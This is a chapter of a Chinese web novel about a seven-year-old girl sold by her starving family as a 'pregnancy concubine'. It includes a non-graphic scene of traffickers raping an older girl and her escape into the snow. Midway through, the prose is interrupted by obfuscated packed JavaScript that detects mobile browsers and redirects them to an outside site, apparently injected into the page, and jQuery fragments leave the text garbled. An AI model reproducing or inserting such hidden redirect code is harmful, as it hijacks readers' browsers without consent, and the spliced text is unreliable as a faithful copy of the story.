冬日的夜总是黑得格外快。
村子里都说，房子越破越要烧火取暖。
五儿缩在被窝里，听见隔壁传来噼啪的声响，是茅草烧着的声音。
她认得那户人家，是村里的老邻居，去年才添了个娃娃。
“今年收成本就不好，他们家的存粮，现在全没了。”父亲的声音从外传来，裹着寒气。
他刚从外面回来，站在门口扫了扫肩上的雪花，眉头的皱纹比门外的雪还深。
“可怜见的，咱们也是实在没法子接济。”母亲的声音是习以为常的无奈，“自己都活得难。”
她转过身，就着昏暗的油灯，挨个看了看睡着的孩子。
五儿赶紧闭上眼睛，不想让母亲发现。
从她有记忆起，父母的眉头就一直皱着。
五儿的家是景州城下面一个小村子，而他们家，是村里孩子最多的人家。
五儿上头有两个哥哥、两个姐姐，她是最小的，所以叫五儿。
老人们常说，生得多了，以后能享清福。
可那也是以后的事了。光是现在，就已经熬得人喘不过气来。
五儿在被窝里悄悄睁开眼，透过窗户糊的旧纸，能看见外面隐约的火光。
隔壁那户人家，怕是熬不过这个冬天了。
她不知道，自己家能不能。
*
五儿那时还太小，小到不知道什么是苦日子。
她看不懂父母眉间的愁，只是偶尔望着蹙起的眉，心里会没来由地慌一下。
好在母亲的歌声是软的，怀抱是暖的。
她和几个哥哥姐姐，像一窝刚出壳的雏鸟，挤挤挨挨地偎在一起，听母亲哼那些不知名的小调，喝碗里寡淡的糊糊粥，啃几根在火堆边烤得皱巴巴的萝卜干。
在五儿的记忆里，日子就是这样过的。
春日里，她扎着两个羊角辫，颠颠地跟在哥哥姐姐身后跑。
阳光正好，暖融融地铺下来，风软软地吹在脸上，脚丫子上糊着干裂的黄泥。
五儿跑着跑着，忽然发现自己怎么都追不上他们，她没意识到这叫差距，只是觉得前面的背影又远又晃眼。
她也不急，低头看脚丫子从泥里拔出来，又踩下去，咯咯地笑。
跑累了，母亲站在田埂那头喊一嗓子，一群孩子便像归巢的麻雀，呼啦啦地从田里冲回家。
黄昏斜斜地洒下来，把整个村子染成了金色。
五儿眨巴着黑亮的眼睛，趴在门框上看父亲生火。
烟雾腾起来，呛得她眯眼，又不肯挪窝。
邻家姐姐偷偷塞给她一小块饴糖，糖稀粘糊糊地粘在手指上，她舍不得一口吃掉，只伸出舌尖轻轻舔一下，眯着眼睛抿半天，再舔一下。
邻家姐姐真好看，说话轻声细语，像春天里的风。
可这几日，姐姐总是红着眼眶，眼泪一颗一颗往下掉。
五儿把糖藏在舌头底下，趁爹妈不注意，偷偷溜到隔壁院子，推开半掩的木门，就见姐姐正坐在窗下，她爬上姐姐的膝头，仰起脏兮兮的小脸，问：“姐姐，你怎么哭了？”
姐姐低头看她，嘴角弯了弯，抬手把五儿往怀里带了带道：“糖好吃吗？”
“好吃！”五儿晃了晃悬在半空的小脚丫，喜滋滋地点头，“谢谢姐姐！”
“好吃就好。”姐姐的手一下一下抚过她头顶的羊角辫，“我这里还有一些，你带回去，给你爹娘，还有哥哥姐姐们尝尝。”
她顿了顿，继续道：“以后……你可能就见不到姐姐了。”
五儿正晃得起劲的小脚丫倏地停住了。
她扭过头，歪着脑袋看向姐姐，乌溜溜的眼睛里满是不解：“为什么呀？”
姐姐垂着眼，窗外的日光暖融融地照进来，落在她苍白的脸上。
她没看五儿，只是把怀里的小人儿又抱紧了些，嘴唇动了动，“因为姐姐，就要去城里给人当孕妾了。”
五儿当时不懂。
但在邻家姐姐被一辆马车接走的那日，她躲在墙根底下，听几个老太太嚼舌根，那些话让她模模糊糊地明白了，孕妾究竟意味着什么。
后来，五儿再也没有见过那位姐姐。
她曾鼓起勇气询问自己的哥哥姐姐，可每次话才出口，便被一只大手死死捂住嘴，伴随着压低的呵斥：“不许再提！”他们脸色凝重得吓人，五儿便乖乖闭上了嘴。
日子还是要过的。
她依旧像往常一样，跟在哥哥身后踩进清凉的溪水捉鱼，跟在姐姐身后在田埂上采野花。
她把那些小花仔细地编成花环，戴在自己头上，对着水面照了又照。
五儿觉得自己很幸福。
但也只有她一个人这么觉得。
生存是很难的，尤其是五儿这样一大家子，吃饭的嘴多，干活的手少。天边好看的落日、小道上冲人喵喵叫的小猫，都没办法让人填饱肚子。
五儿的父母不懂她口中的那些美好，他们只看得见灶台里越来越少的粮。
其实有时候，不去期盼那些美好，也挺好的……
*
那个难熬的冬日，母亲病了。
五儿蹲在墙角，看着母亲咳得直不起腰，一声一声，像要把肺都咳出来。
她急得眼眶发红，却什么也帮不上。家家户户都揭不开锅，米缸早就见了底。
那一夜，母亲对着仅剩的一把粗粮，坐了好久好久。
那一夜，父母在一旁商议了很久很久，说话的声音压得很低，偶尔会朝五儿的方向看上一眼，目光里藏着她说不清是什么的东西。
几日后，邻里的屋子烧成了灰烬，火光映红了半条巷子。
隔日，有人送来了粮食。
粮食从哪来的？
从五儿的肚子里来。
荒年，饿殍载道，人如草芥。
因着几分乖巧伶俐的长相，她被爹娘用五斗米的价钱，卖给了景州一户人家的痴傻少爷，充作孕妾。说白些，就是给人生孩子用的。
五儿怎么也不敢相信，她的爹娘，竟会如此待她。
“爹爹！娘亲！我不去！我不去！”
她尖声哭喊着，像一只受惊的猫儿，哧溜一下钻进了桌子底下，死死蜷缩在黑暗里。
明明是最亲的人，此刻在五儿看来，却比陌生人还要可怕。
她觉得自己好像不是他们生的孩子，而是一袋能换粮食的大米，一捆能换钱的柴火。
“五儿，来，到爹爹怀里来。”父亲弯下腰，朝桌底伸出手。
烛火昏暗，五儿看不清父亲的神情，只觉得模样无比狰狞。
身后的母亲早已哭得上气不接下气，肩膀剧烈地颤抖着，始终没有上前。
母亲不敢看她。为什么？五儿想不明白。
“五儿来，到娘怀里来……”最后还是母亲开了口，声音沙哑得不成样子。
五儿从桌底探出半个脑袋，脸上挂满了泪珠，声音打着颤：“娘不要五儿了吗？”
没有人回答她。
她看向站在一旁的哥哥姐姐，全都低着头，没有一个敢看她。
恐惧灌满了她的全身。她剧烈地挣扎，嚎啕大哭，嗓子几乎要撕裂。
风雪愈大，呼啸着、尖叫着，吹得五儿的头发凌乱不堪，替五儿道出了她内心的嘶吼。
来接她的人牙子咧着嘴笑，露出一口黄牙，说话时唾沫星子溅在她脸上，黏糊糊的。
来送她的只有父亲和哥哥姐姐，母亲没有出来。
可五儿不知道的是，如果没有那袋粮食，他们所有人，都熬不过这个冬日。
不能哭了。
她想起出门前谁说的，天太冷，再哭眼泪会冻伤脸的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222206|179646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
但一爬上马车，她还是忍不住哭了出来。
“别哭了，来，我抱抱你。这么小就被卖了。”说话的是个比五儿大不了几岁的姐姐，她看着这个刚被塞进马车，满脸泪痕的小丫头，眼底泛起心疼，不由分说地将五儿揽进怀里。
五儿懵懵懂懂地往温暖的怀里钻了钻，这是她在全然陌生的环境里，第一个愿意给她温暖的人。
马车晃晃悠悠地走着，车轮碾过积雪，发出细碎的咯吱声。
车厢里挤着的，都是和五儿差不多大的孩子，有的在睡，有的在发呆，没有人说话。
雪天路难行，赶车的只有两个成年男子。
好在去城里的路不算远，只需在山野间过上一夜，明日便能抵达。
可就是这一夜，让五儿看见了此生最不愿看见的一幕。
昏暗的山洞里，篝火将熄，四下寂静。
原本睡得昏沉的五儿不知为何醒了过来，她揉揉眼，借着微弱的火光，看见了白日里抱着她的那个姐姐。
此刻，她被那两个男人按在粗糙的石板上。
肮脏的手捂住她的嘴，粗重的喘息和衣料摩擦的声音混在一起。
影子在石壁上晃动，扭曲得像是野兽。
汗水滴在冰冷的石面上，啪嗒，啪嗒。
人与畜生的区别，在于人还有道德和良知。而畜生没有。
两个男人嘴里不干不净地骂着：“老实点！要是敢出声，等到了地方，有你好受的！”
他们肆无忌惮，因为他们知道，买女孩的那个瞎子，根本看不出什么贞洁不贞洁。
女孩眼泪无声地淌，不敢发出一丝声音。
五儿死死捂住自己的嘴，小小的身体止不住地发抖。
那一刻，年仅七岁的五儿，心里有什么东西碎了。
她要逃。
她绝不能，让这一生，就此任人摆布。
活下去的念头烧穿了恐惧，她竟生生用牙去咬腕上捆着的麻绳，牙根发酸，满嘴是血，麻绳终于断开。
夜更深了，那两个畜生完事后睡得死沉，鼾声如雷。
五儿摸索着搬起一块石头，举过头顶，狠狠砸了下去。
可她毕竟只是个七岁的孩子，力气太小。石头砸在二人头上，只换来一声闷哼，人没死，只是晕了过去。
黑暗里传来沉闷的钝响，旁边有人惊醒，却不敢出声。
五儿没再看他们一眼，她爬起身，扑进了漫天大雪里。
雪很深，踩上去吱呀作响，走一步陷一步，比想象中更难，她哈了哈冻僵的手，接住一片雪花。
雪花落在掌心，凉意钻进骨头里。
她不能停。
腕子上的伤口被粗麻磨得皮开肉绽，寒风一吹，疼得像有火在烧。
五儿受不了，胡乱抓起地上沾着泥的积雪，死死按在伤口上，冰得刺骨，总比烧着疼好，权当镇痛。
从那夜起，她的眼里就只剩下风雪，再也没有春日。
可五儿躲过了人牙子的追赶，却躲不过腹中的饥饿。
几只漆黑的乌鸦蹲在破庙檐角，哑哑地叫着，小眼睛不时瞥向她。
不远处，一条野狗蜷伏在草丛里，舌头耷拉着，静待这具小小的身躯断气，好扑上来填饱自己的肚子。
她已经没有力气了。连再挪动一步的力气都没有了。
五儿知道，这附近有个男孩一直在看她。是要杀了她吗？还是想做别的什么？
委屈、不甘、迷茫，疯狂涌上来，又退下去，最后只剩下麻木。
她蜷缩在破庙墙角，等待着死亡。
就在这时，一道人影出现。
一只脏兮兮的手伸到她面前，掌心托着个窝窝头。
“吃吧。”少年的声音沙哑，他手腕处露着一道未愈的伤痕，和他递过来的食物一样，又脏，又暖。